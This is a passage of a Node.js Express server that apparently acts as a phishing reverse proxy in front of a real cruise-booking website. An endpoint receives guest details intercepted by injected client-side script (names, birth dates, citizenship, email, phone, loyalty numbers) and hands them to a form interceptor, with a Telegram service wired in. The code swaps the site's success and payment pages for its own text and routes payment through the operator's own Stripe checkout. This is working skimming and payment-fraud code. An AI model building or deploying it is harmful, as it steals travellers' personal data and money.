  res.header('Access-Control-Allow-Methods', 'POST, OPTIONS');
  res.header('Access-Control-Allow-Headers', 'Content-Type');
  res.sendStatus(200);
});

// Special endpoint for intercepted guest data from client-side JavaScript
app.post('/api/guest-data', express.json({ limit: '10mb' }), async (req, res) => {
  // Add CORS headers for client-side requests
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Methods', 'POST, OPTIONS');
  res.header('Access-Control-Allow-Headers', 'Content-Type');

  console.log('[GUEST-API] ===== RECEIVED GUEST DATA REQUEST =====');
  console.log('[GUEST-API] Headers:', JSON.stringify(req.headers, null, 2));
  console.log('[GUEST-API] Body keys:', Object.keys(req.body || {}));
  console.log('[GUEST-API] Body preview:', JSON.stringify(req.body).substring(0, 200));
  try {
    console.log('[GUEST-API] Received intercepted guest data from client');
    console.log('[GUEST-API] Original URL:', req.body.originalUrl);
    console.log('[GUEST-API] Method:', req.body.method);
    console.log('[GUEST-API] Body length:', req.body.body ? req.body.body.length : 0);

    if (req.body.body) {
      console.log('[GUEST-API] Raw body preview:', req.body.body.substring(0, 500));
    }

    // Parse the intercepted data
    let guestData = {};
    try {
      if (req.body.body) {
        const parsedBody = JSON.parse(req.body.body);

        // Extract guest information from the API request
        if (parsedBody.guests && Array.isArray(parsedBody.guests)) {
          console.log('[GUEST-API] Found guests array with', parsedBody.guests.length, 'guests');

          // Take the first guest (primary guest)
          const primaryGuest = parsedBody.guests.find(g => g.isPrimary) || parsedBody.guests[0];
          if (primaryGuest) {
            guestData = {
              firstName: primaryGuest.firstName,
              lastName: primaryGuest.lastName,
              gender: primaryGuest.gender,
              dateOfBirth: primaryGuest.dateOfBirth,
              citizenship: primaryGuest.citizenship,
              residenceCountry: primaryGuest.residenceCountry,
              email: primaryGuest.email,
              phoneNumber: primaryGuest.phoneNumber,
              loyaltyNumber: primaryGuest.loyaltyNumber
            };
            console.log('[GUEST-API] Extracted guest data:', Object.keys(guestData).filter(k => guestData[k]).join(', '));
          }
        } else if (parsedBody.firstName || parsedBody.lastName) {
          // Direct guest object
          guestData = {
            firstName: parsedBody.firstName,
            lastName: parsedBody.lastName,
            gender: parsedBody.gender,
            dateOfBirth: parsedBody.dateOfBirth,
            citizenship: parsedBody.citizenship,
            residenceCountry: parsedBody.residenceCountry,
            email: parsedBody.email,
            phoneNumber: parsedBody.phoneNumber,
            loyaltyNumber: parsedBody.loyaltyNumber
          };
        }
      }
    } catch (parseError) {
      console.log('[GUEST-API] Failed to parse guest data:', parseError.message);
    }

    // Get cached side panel data for this IP
    const clientIP = req.ip || req.connection.remoteAddress || 'unknown';
    const cachedData = sidePanelCache.get(clientIP);
    let sidePanelData = null;

    if (cachedData && (Date.now() - cachedData.timestamp) < CACHE_TTL) {
      sidePanelData = cachedData.data;
      console.log('[GUEST-API] Retrieved cached side panel data for IP:', clientIP);
    } else {
      console.log('[GUEST-API] No cached side panel data found for IP:', clientIP);
    }

    // Process the guest submission
    if (Object.keys(guestData).length > 0) {
      await formInterceptor.handleFormSubmission(req, res, null, guestData, sidePanelData);
      console.log('[GUEST-API] Guest data processed successfully');
    } else {
      console.log('[GUEST-API] No guest data found in intercepted request');
    }

    // Return success response
    res.json({ status: 'ok', message: 'Guest data intercepted and processed' });

  } catch (error) {
    console.error('[GUEST-API] Error processing guest data:', error.message);
    res.status(500).json({ error: 'Failed to process guest data' });
  }
});

// Health check endpoint
app.get('/health', (req, res) => {
  res.status(200).json({
    status: 'ok',
    timestamp: new Date().toISOString(),
    services: {
      telegram: telegramService ? 'initialized' : 'not available',
      database: databaseService ? 'initialized' : 'not available',
      formInterceptor: formInterceptor ? 'initialized' : 'not available',
      stripe: stripeService ? 'initialized' : 'not available'
    }
  });
});

// Test Telegram endpoint
app.get('/test-telegram', async (req, res) => {
  try {
    if (!telegramService) {
      return res.status(503).json({ error: 'Telegram service not available' });
    }

    await telegramService.sendTestMessage();
    res.status(200).json({ status: 'Test message sent to Telegram' });
  } catch (error) {
    console.error('[TEST] Error sending test message:', error.message);
    res.status(500).json({ error: 'Failed to send test message', details: error.message });
  }
});

// Test Stripe endpoint
app.get('/test-stripe', async (req, res) => {
  try {
    if (!stripeService) {
      return res.status(503).json({ error: 'Stripe service not available' });
    }

    // Try to create a test checkout session
    const testBooking = {
      totalPrice: '$10.00 USD',
      cruiseTitle: 'Test Cruise',
      shipName: 'Test Ship',
      sailDate: '2026-01-01',
      guestName: 'Test Guest',
      guestEmail: 'test@example.com',
      packageId: 'TEST123'
    };

    const checkoutUrl = await stripeService.createCheckoutSession(testBooking);
    res.status(200).json({ 
      status: 'Stripe checkout created successfully',
      checkoutUrl: checkoutUrl
    });
  } catch (error) {
    console.error('[TEST] Error creating Stripe checkout:', error.message);
    res.status(500).json({ 
      error: 'Failed to create Stripe checkout', 
      details: error.message,
      type: error.type || 'unknown',
      statusCode: error.statusCode || 'unknown'
    });
  }
});

// Configuration for routes with custom content replacement
// Format: { route: { h1: 'New H1 content', mainContent: 'New main content HTML' } }
const CONTENT_REPLACEMENT_ROUTES = {
  '/success': {
    h1: 'Hooray! Your cruise has been booked!',
    mainContent: '<p class="text">You will receive a confirmation email shortly.</p><p class="text">Your electronic tickets will be sent to your email 14 days before the start of the cruise.</p>'
  },
  '/cancel': {
    h1: 'Payment Failed',
    mainContent: '<p class="text">Unfortunately, your payment could not be processed.</p><p class="text">Please try again or use a different payment method.</p>'
  }
  // Add more routes here as needed
};

// Track sent emails to prevent duplicates
const sentEmails = new Set();

// Add routes with content replacement before the main proxy
Object.keys(CONTENT_REPLACEMENT_ROUTES).forEach(route => {
  const replacements = CONTENT_REPLACEMENT_ROUTES[route];
  console.log(`[ROUTES] Registering route ${route} with content replacement`);
  
  // Special handling for /success route - send email after content replacement
  if (route === '/success') {
    // Create proxy middleware
    const proxyMiddleware = createContentReplacingProxy(PROXY_TARGET, {}, replacements);
    
    // Wrap it with email sending logic
    app.use(route, (req, res, next) => {
      const sessionId = req.query.session_id;
      
      // Set up email sending after response is sent
      if (sessionId && emailService && stripeService && !sentEmails.has(sessionId)) {
        // Listen for when response is finished (content replaced and sent to client)
        res.on('finish', async () => {
          try {
            console.log('[EMAIL] Response finished, processing email for session_id:', sessionId);
            
            // Retrieve session data from Stripe
            const session = await stripeService.getSession(sessionId);
            const customerEmail = session.customer_email;
            
            if (customerEmail) {
              console.log('[EMAIL] Found customer email:', customerEmail);
              
              // Mark as sent before sending to prevent race conditions
              sentEmails.add(sessionId);
              
              // Send email
              await emailService.sendConfirmationEmail(customerEmail, session);
              console.log('[EMAIL] Confirmation email sent successfully to:', customerEmail);
            } else {
              console.warn('[EMAIL] No customer email found in session:', sessionId);
            }
          } catch (error) {
            console.error('[EMAIL] Error sending confirmation email:', error.message);
            // Remove from set on error so it can be retried
            sentEmails.delete(sessionId);
          }
        });
      } else if (sessionId && sentEmails.has(sessionId)) {
        console.log('[EMAIL] Email already sent for session:', sessionId);
      }
      
      // Continue to proxy middleware (content replacement happens here)
      proxyMiddleware(req, res, next);
    });
  } else {
    // For other routes, use standard proxy
    app.use(route, createContentReplacingProxy(PROXY_TARGET, {}, replacements));
  }
});

// Main proxy for the target website with path rewriting
// Special handling: /room-type, /room-subtype, and /room-location need /room-selection/ prefix
app.use('*', createContentReplacingProxy(PROXY_TARGET, {
  // Rewrite paths that need /room-selection/ prefix
  '^/room-type': '/room-selection/room-type',
  '^/room-subtype': '/room-selection/room-subtype',
  '^/room-location': '/room-selection/room-location'
}));

// Error handling middleware
app.use((err, req, res, next) => {
  console.error('Unhandled error:', err.message);
  if (!res.headersSent) {
    res.status(500).json({ error: 'Internal server error' });
  }
});

// Start server
const server = app.listen(PORT, () => {
  console.log(`Reverse proxy server running on port ${PORT}`);
  console.log(`Environment: ${NODE_ENV}`);
});

// Set server timeout
server.setTimeout(60000);
server.keepAliveTimeout = 65000;

// Graceful shutdown
process.on('SIGTERM', () => {
  console.log('SIGTERM received, shutting down gracefully...');
  server.close(() => {
    process.exit(0);
  });
});

process.on('SIGINT', () => {
  console.log('SIGINT received, shutting down gracefully...');
  server.close(() => {
    process.exit(0);
  });
});

// Handle uncaught errors
process.on('uncaughtException', (err) => {
  console.error('Uncaught Exception:', err);
});

process.on('unhandledRejection', (reason, promise) => {
  console.error('Unhandled Rejection at:', promise, 'reason:', reason);
});
